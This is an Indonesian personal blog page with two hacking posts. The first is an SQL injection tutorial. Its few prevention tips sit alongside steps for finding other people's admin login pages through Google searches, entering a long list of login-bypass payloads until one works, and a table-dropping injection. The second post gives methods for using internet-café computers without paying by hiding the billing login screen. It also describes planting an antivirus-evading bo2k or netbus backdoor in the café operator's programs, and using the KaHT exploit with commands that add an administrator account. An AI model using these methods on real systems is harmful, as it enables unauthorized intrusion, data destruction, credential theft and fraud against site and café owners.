WAKTU MAKASSAR
WELCOM TO MY BLOGGER

SEBELUMX KAMI MOHON MAAF APA BILA BLOGGER INI MASIH SEDERHANA, SEMOGA ANDA TIDAK JENUH DAN BOSAN.


TERIMA KASIH ATAS KUNJUNGANX
PEGUNJUNG

MY FRIENDSTER N YM

Kamis, Maret 12, 2009

TUTORIAL SQL INJECTION

Pengertian SQL Injection
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. 

Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan perintah SQL. 
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu form. 

Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. 
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. 
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. 


Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice



Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’ and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL

Gambar contoh SQL Injection
 

Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username 
2) Query database awal :
 

Berubah menjadi :
 



Contoh sintaks SQL Injection
SQL Injection melalui URL, contohnya :
 

Penanganan SQL Injection 
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini

1. Merubah script php
Contoh script php semula :
$query = "select id,name,email,password,type,block from user " . 
"where email = '$Email' and password = '$Password'"; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, 'yes') == 0)
{
echo "\n"; 
exit(); 

else if(!empty($Id) && !empty($name) && !empty($email) && !empty($password));

Script diatas memungkinkan seseorang dapat login dengan menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter ’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai berikut : 
 
Maka dilakukan perubahan script menjadi :
$query = "select id,name,email,password,type,block from user". 
"where email = '$Email'"; 
$hasil = mySQL_query($query, $id_mySQL); 
while($row = mySQL_fetch_row($hasil))

$Id = $row[0]; 
$name = $row[1]; 
$email = $row[2]; 
$password = $row[3]; 
$type = $row[4]; 
$block = $row[5]; 

if(strcmp($block, 'yes') == 0)

echo "\n"; 
exit(); 

$pass = md5($Password); 
else if((strcmp($Email,$email) == 0) && strcmp($pass,$password) == 0));
 

2. Menggunakan MySQL_escape_string

Merubah string yang mengandung karakter ‘ menjadi \’ misal SQL injec’tion menjadi SQL injec\’tion

Contoh : $kar = “SQL injec’tion”; 
  $filter = mySQL_escape_string($kar); 
  echo”Hasil filter : $filter”; 
Hasilnya : 
 

3. Pemfilteran karakter ‘ dengan memodifikasi php.ini

Modifikasi dilakukan dengan mengenablekan variabel magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah menjadi \’ secara otomatis oleh php

Contoh :
 

Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
validatepassword = true 
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function

Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp" 
"/login.asp" 
"/logon.asp" 
"/adminlogin.asp" 
"/adminlogon.asp" 
"/admin_login.asp" 
"/admin_logon.asp" 
"/admin/admin.asp" 
"/admin/login.asp" 
"/admin/logon.asp" 
{anda bisa menambahi sendiri sesuai keinginan anda}


3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword). 
4) Masukkan kode berikut :
User name : ` or `a'='a 
Password : ` or `a'='a (termasuk tanda petiknya) 
5) Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah about, 
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak. 
6) Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain : 
User name : admin 
Password : ` or `a'='a 
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ; 
 “ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin panel

Cara pencegahan SQL INJECTION

1) Batasi panjang input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.


Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.

R E F E R E N S I 

1) -------------, SQLinjection, (www.BlackAngels.it).

2) -------------, Advanced SQL injection in SQL server applications, (www.ngssoftware.com).
3) -------------, SQL injection walktrough (www.securiteam.com).
4) BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005, (http://www.jasakom.com). 
5) Budi Raharjo, ”Keamanan Sistem Informasi Berbasis Internet”, PT Insan Indonesia & PT INDOCISC, Jakarta,2002. 

DASAR-DASAR SQL INJECTION

Sebelum membahas tentang sql injection pertama-tama saya akan menerangkan apa itu sql injection dan 
kenapa bisa terjadi.
Sebenernya SQL injection terjadi ketika attacker bisa meng insert beberapa SQL statement ke 'query' 
dengan cara manipulasi data input ke applikasi tsb. 
Diantara DB format seperti PHP + MySQL dan ASP + MSACCESS atau dengan MySql ,
disini gw cuma akan membahas tentang ASP+MsSql yang udah dicoba pada IIS 5 dan 
beberapa sql injection pada url.


Biasa Sql Injection dilakukan pada login page pada asp seperti di :
admin\login.asp
login.asp
Jadi yang akan menjadi target itu page tersebut ,
sekarang kita mulai aja dengan dasar-dasar sql injection :d.
Biasanya di sql statment 
select id, user_name, password from user
maksudnya perintah diatas menghasilkan data id,user_name dan password pada table user.
Bisanya pada login page dengan mengunakan statment result setnya sebagai berikut :
select id, user_name,password from user where name = 'echo' and password='password'
Pada IIS dan ASP apabila terdapat kesalahan sintax script akan diberi tau dan ditampilkan di browser
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near 'jopi' SQL atau "Structured Query Language" 
seharusnya tidak menyentuh system calls. Tetapi tidak dengan MSSQL.
Nah, ga tau kenapa karakter single quote 'breaks out' 
dari delimiter nya SQL Jadi kalau misal ada inputan 
User: echo';drop table user--
dan akibatnya akan fatal , dan artinya adalah kita menghapus table user dan akan kosong deh tuh loginya 
oh iya '--' merukapan mark nya MSSQL, jadi perintah selanjutnya ga di execute.
Sekarang untuk lebih jelasnya kita secara langsung pada login script seperti
input login + password. Nama field nya 'login' dan 'pass'. dan 
SQL nya di asp: var sql = select * from users where username='"+login+"' and password='"+pass"'";
coba kalau ada inputan: login: ';drop table users-- pass: chfn (*wink* negative)
pasti ke drop tuh table users
Aduh pada pusing ya , gini deh cara gampangnya adn kita lupakan yang diatas kita langsung praktek aja>
Coba cari disitus-situs yang menggunakan asp dan MsSql sebagai DB nya, lalu cari login.asp atau
admin\login.asp.
Kalau udah dapet masukin nich variable sql nya
user:admin 
pass:' or 1=1--
Ingat kita disini hanya coba-coba kali aja dba nya ga pinter :d
atau :
user:' or 1=1--
admin:' or 1=1--
Mas , ga bisa nich gimana ya ?
Inget sekarang rata-rata para admin pada pinter semua , kita cari yg gombol aja deh untuk tes kalau ga lo bisa
buat sendiri script dan tes karena gw udah coba buat sendiri dan berhasil tanpa melakukan paket filter 
pada db nya . Untuk test apakah suatu page mempunyai vulnerable , gini caranya :
Kalian pernh melihat pada halaman-halaman ASP,JSP,PHP dan CGI yang didalam addressnya :
http://vivtim/index.asp?id=10
Selain kita test dengan login page diatas tadi , kita test dalam melakukan sedikit tambahan
pada addressnya seperti memasukan : test'1=1-- 
menjadi http://victim/index.asp?id=test'1=1--
Kita juga bisa juga melakukan xss dengan sql injection ini , coba download source HTML dari page target
lalu kita tamhankan hidden field pada source tersebut sebagai contoh :




Apabila beruntung kita apabila membuka page tersebut tidak perlu memasukan password dan username.
ingat script ini ditamhakna pd script yg sudah kalian download dr target .

Variable ' or 1=1--
Mungkin pada bertanya-tanya kenapa mengunakan variable 'or 1=1-- dan sangat penting.Lihat contoh
pada sebuah web tertulis http://victim/index.asp?category=laptop
Dalam url tesebut category adalah variable name dan komputer adalah masukan untuk variable name tsb .
Kalau ditulis dalam script ASP maka akan menjadi :
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
Data yang kita masukan seperti komputer akan masuk ke dalam v_cat variable dan pd sql statment menjadi
SELECT * FROM product WHERE PCategory='laptop'
lalu apa hub dengan 'or 1=1---
coba kalau kita ganti http://victim/index.asp?category=laptop menjadi
http://victim/index.asp?category=laptop'or 1=1--
Kita lihat varible v_cat sekarang menjadi laptop'or 1=1-- lalu dalam SQL query nya menjadi
SELECT * FROM product WHERE PCategory='laptop' or 1=1--'
artinya v_cat mendapatkan masukan berupa varibale laptop atau var 1=1(kosong) yang menyebabkan
Sql Server menjadi bingung dan akan mengeksekusi Select * pada table tsb yang mengakibatkan
kita bisa masuk kedalam db teserbut dan db tsb tdk berfungsi :d. Lalu tanda -- merupakan 
mark dari sql untuk ignore semua perintah. Bisa dibayangkan kalau terjadi pada login page
Kita bisa masuk kedalam login page tanpa password dan user name :d.
Kemungkinan-kemungkinan variable lainya :
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Selain masuk kedalam page tersebut kita juga bisa memanfaatkannya untuk remote execution dengan sql Injection
dan untuk artikel akan dimasukan dalam ezine 3 echo.or.id .Semoga artikel ini berguna .

HACKER

Senin, Maret 09, 2009


Warningsssssssssssssssss :

(((((((( Pertidaktanggungjawaban : Artikel ini ditulis untuk menambah pengetahuan tentang keamanan sistem komputer terutama para operator / SysAdmin dari server warnet, penulis tidak bertanggung jawab bila artikel ini digunakan untuk kejahatan apapun bentuknya.tulisan ini dibuat bukan untuk mecuri rejeki orang,tetapi hanya untuk memperluas wawasan para netter indonesia )))))))


OK bro we stay here and get the tags bya doing. INget … JUST DOIT …. SO CLOSE ……. prinsipnya katyak gitu degh.


Cara pertama

Cara ini saya dapetin pas kantong lagi kempes tapi nafsu online lagi tinggi
Setelah muter2 otak sebentar sambil tidur, akhirnya kutemukan cara buat ngakalin billing warnetnya buat ngirit ongkos online.
Kalau cara yang ada di X-Code Magz vol4 itu cuma bisa untuk Billing Explorer(memang bisa, saya sudah membuktikannya)
Cara ini berlaku untuk segala versi billing explorer dan kebanyakan aplikasi billing lainnya. Dan merupakan kelemahan semua billing warnet yang berbasis windows!!!

Penasaran mau tau caranya ? Baca aja sampai habis !
Skali lagi saya ingatkan buat anda yang merasa udah pinter diharapa ga usah baca, kecuali pengen mati kebosanan (niru kata-kata siapa ya?

Ini dia caranya …
Saat kita mulai menyalakan komputer di warnet yang pertama muncul saat windows dimulai adalah login screen client billing yang menutupi seluruh area windows. Fungsi Alt+Tab dan Ctrl+Alt+Del biasanya ikut-ikutan di-disable untuk memaksa kita login melalui program billing itu.
Sebenarnya saat kita menghadapi login screen itu komputer sudah siap dijalankan. Hanya terhalang oleh screen login yang menyebalkan itu. Naah… udah tau apa yang bakal saya jelasin ? Kalo udah tau, brenti aja bacanya. Daripada mati kebosanan

Yess.. betul sekali. Yang perlu kita lakukan hanyalah menyembunyikan jendela login itu tanpa perlu login. Ada banyak progie buat nyembunyiin window, salah satunya ZHider. Saya hanya akan menjelaskan penggunaan ZHider. Bagi yang menggunakan progie laen silakan baca manualnya, tapi yang perlu diperhatikan adalah progie yang anda gunakan harus bisa show/hide window pake hotkey coz windows kita kan ditutupi sama login screen sialan itu.

Yang harus disiapkan:


1. Program ZHider. Cari sendiri pake om google. Ukurannya kecil kok, ga sampe setengah isi             Flash Disk (FB) 512 / 1 GB et.
    Aku nemunya pas smp tapi baru sekarang kepake ^^
2. Muka bego
3. Mental yang kuat

Langkah-langkahnya: 

01. Masuk warnet dan pasang muka bego biar ga dicurigai operator
02. Pastikan selain box/bilik yang kita tempati masih ada box lain yang kosong. Biar ga dicurigai          juga sih.
03. Usahakan cari tempat yang jauh dari op, supaya ga ketahuan box kamu kosong apa nggak.
04. Nyalakan kompi dihadapan anda bila masih dalam keadaan mati.
05. Saat masuk login screen, login aja seperti biasa.
06. Jalankan ZHider yang sudah disiapkan di disket/flashdisk. Kalo belom ada, cari aja pake                google.
07. Setelah ZHider dijalankan langsung aja logout.
08. Naah, di login screen ini kita mulai aksi mendebarkan kita. Tekan Ctrl+Alt+Z.. Jreeeng, login screen telah menghilang !!!
09. Browsinglah sepuasnya, tapi tetap pastikan ada box lain yang kosong. Kan aneh kalau ada              yang masuk warnet, dia lihat udah penuh. Padahal di billing server kelihatan masih ada yang        belum login.
10. Kalo sudah puass tekan Ctrl+Alt+x untuk memunculkan kembali login screen yang                          menghilang entah kemana
11. Login seperti biasa dan browsing beberapa menit sampai penunjuk tarif sampai ke angka               yang kita kehendaki. Ini supaya ga dicurigai.
12. Logout. SIapkan muka bego, lalu bayar tarif.

Cara ini lebih mudah dilalukan bila si operator ga terlalu kenal sama kamu. Apalagi bila si op sering keluyuran.

Ini beberapa hotkey ZHider yang bisa digunakan, untuk hotkey lainnya silakan baca file readme yang disertakan bersama zhider

CTRL+ALT+Z Menyembunyikan jendela aktif
CTRL+ALT+X Menampilkan kembali semua jendela yang disembunyikan
CTRL+ALT+L Menampilkan dialog zhider
CTRL+ALT+M Menampilkan kembali semua jendela yang disembunyikan, dan juga menutup zhider.

Kalo cara di atas ga bisa dilakuin, hentikanlah usahamu. Sesungguhnya perbuatan jahatmu tidak diridhai Tuhan
Kalo ketahuan langsung pertebal “muka bego”-mu. Misalnya bilang “Eh, kok jadi gini ya? Kemaren ga gini kok.” Ato kata-kata lain, tergantung kreatifitas anda.

NB : Program ini tidak dapat digunakan untuk warnet2 yang menggunakan GEtBack..

Cara kedua

1.pasang muka culun (ato bego) kek yg diomongkan diatas
2.sediah kopi
3.tentunya rokok
4.nah sekarang yg perlu kalian jalankan adalah
5.cabut kabel lan cardnya …
6.trus restart komputer kamu
7.jika sudah kluar gambar desktop sebelum gambar billing itu kluar kamu cepet²an tekan alt+del+ctrl dan kamu del yg client 008

Cara ketiga

Sering kali kita menjadi lupa waktu bila berada didepan komputeruntuk surfing dan hal ini ngak jadi masalah bila memakai komputer di kantor dengan koneksi broadband atau Dsl. Masalah baru muncul apabila kita surfing di Warnet. Proteksi yang biasa digunakan oleh warnet pada umumnya adalah nag screen atau window yang mengharuskan kita login terlebih dahulu [note:login ini berbeda dengan login start up] karena pada dasarnya komputer sudah dalam keadaan siap pakai hanya terhalang oleh nag screen tersebut, sedangkan koneksi ke internet dalam keadaan stand by. Yang harus dilakukan adalah membypass proteksi tersebut.

Prosedurnya adalah :
Tetap harus login terlebih dahulu agar tidak mencurigakan

Download Wincontrol –>> winctrl.exe untuk bypass login screen

Ekstrak wincontrol dan aktifkan
F9 = untuk menghilangkan window pada aktif cursor
F10= untuk mengembalikan window seperti semula
Jalankan timer untuk mengingatkan durasi waktu yang diinginkan
Logout bila telah mencapai biaya yang ditetapkan, biasanya tarif perjam Rp 6.000,-
Setelah logout tekan F9 maka login screen akan menghilang dan kita bisa kembali surfing tanpa biaya. Jangan lupa untuk menonaktifkan wincontrol setelah selesai.

Usahakan agar tidak terlalu menarik perhatian penjaga warnet [ surfing selama 3 jam = Rp 1500 ? ] cari warnet yang mempunyai banyak workstations-nya.

Untuk Mendownload Wincontrol dapat di download di
www.yogyafree.net

Cara keempat

Alat yang dibutuhkan : - Backdoor Program , i.e: bo2k, netbus
- Portscanner
- Nekat !

Praktek : - Jelajahi warnet yg ada di kotamu, perhatikan apakah di server komputer ada drive utama yang di-mount.(Setidaknya server harus ber-os MicroShit Windows 98/NT).

- Siapkan program backdoor kamu yang sudah kkamu konfigurasi bo,netbus.. terserah kamu ;p >, agar tidak dikenali disarankan program backdoornya di recompile ulang agar tdk dikenali oleh antivirus, tambahkan data sampah sesuka kamu, jika tidak kamu recompile juga tdk apa-apa tetapi program akan mudah dikenali oleh antivirus.

- Cari program .exe yang biasanya sering dippakai oleh operator warnet,i.e: Mirc32.exe, iexplore.exe dll.

- Copy file tersebut di komputer client warnnet, sisipkan backdoor kamu ke program tersebut pake silkrope (Baca petunjuknya di press release bo2k, (http://www.bo2k.com )

- Delete file original di komputer server (HHati - hati jika tdk bisa kemungkinan
program sedang dipakai, pake program lain spt iexplore.exe ).

- Setelah mendelete file asli di komputer seerver, copykan file yang sudah disisipi backdoor dari komputer client warnet ke komputer server, tentunya dengan memakai nama asli program seperti Mirc32.exe atau iexplore.exe.

- Logout dari client warnet dan bayar sewa iinternet. (Pasang muka lugu dan bego).

- Setelah sehari dirasa cukup maka kembali llagi ke warnet yang di-hack dan lakukan scanning port yang terbuka, jika port yang terbuka match dengan konfogurasi backdoor kamu maka ….. SELAMAT BUNG !! Anda layak tertawa….. hi….hi…hi….., backdoor anda telah dijalankan oleh operator warnet yang !! kekekeke.

- Lakukan penjelajahan sepuas kamu….., lisst password jika server warnet NT dan crack pakelophtcrack, jika server windows 9x…..tertawalah lagi sampai akan muntah dan kejang - kejang.. ;p ,karena jika di list passwordnya akan didapati password dial-up ke ISP. tanpa “ENCRYPT” sama sekali.. (From other)


Nah kalau cara diatas belom juga bikin lho seneng …. Coba lagi aja degh pake KAHT (baca disini). Cara pemakaiannya seperti ini bro mudah-mudahan lho gak lupa lagi:


1. Download program KaHT letakkin di folder c:\windows\system32 (kalo XP)
2. Buka start > run… ketikkan CMD
3. ketikkan : Kaht 127.0.0.1 127.0.0.2
4. Kalo prompt pindah ke system32 berarti berhasil, kalo ga bisa pastiin port yg dipake kaht ga tertutup. Dan kompi kita wajib belom pake SP2
5. Ketik:
net user [username] [userpass] /add
net localgroup Administrator [username] /add
6. Misalnya : Kayaknya udah dijelasin deh, ga usah ya.

- Having fun….. and stay out of troble ..ddan ingat “Junjunglah Etika HACKER”, jangan sekali -kali membuat kerusakan, cukup untuk kamu

lihat -lihat server warnet…OK


Reference by:

A R I E S 

A G H I S

H E N D R A Y

H A R I A D I

E N Z H A 2 1






Maukie - the virtual cat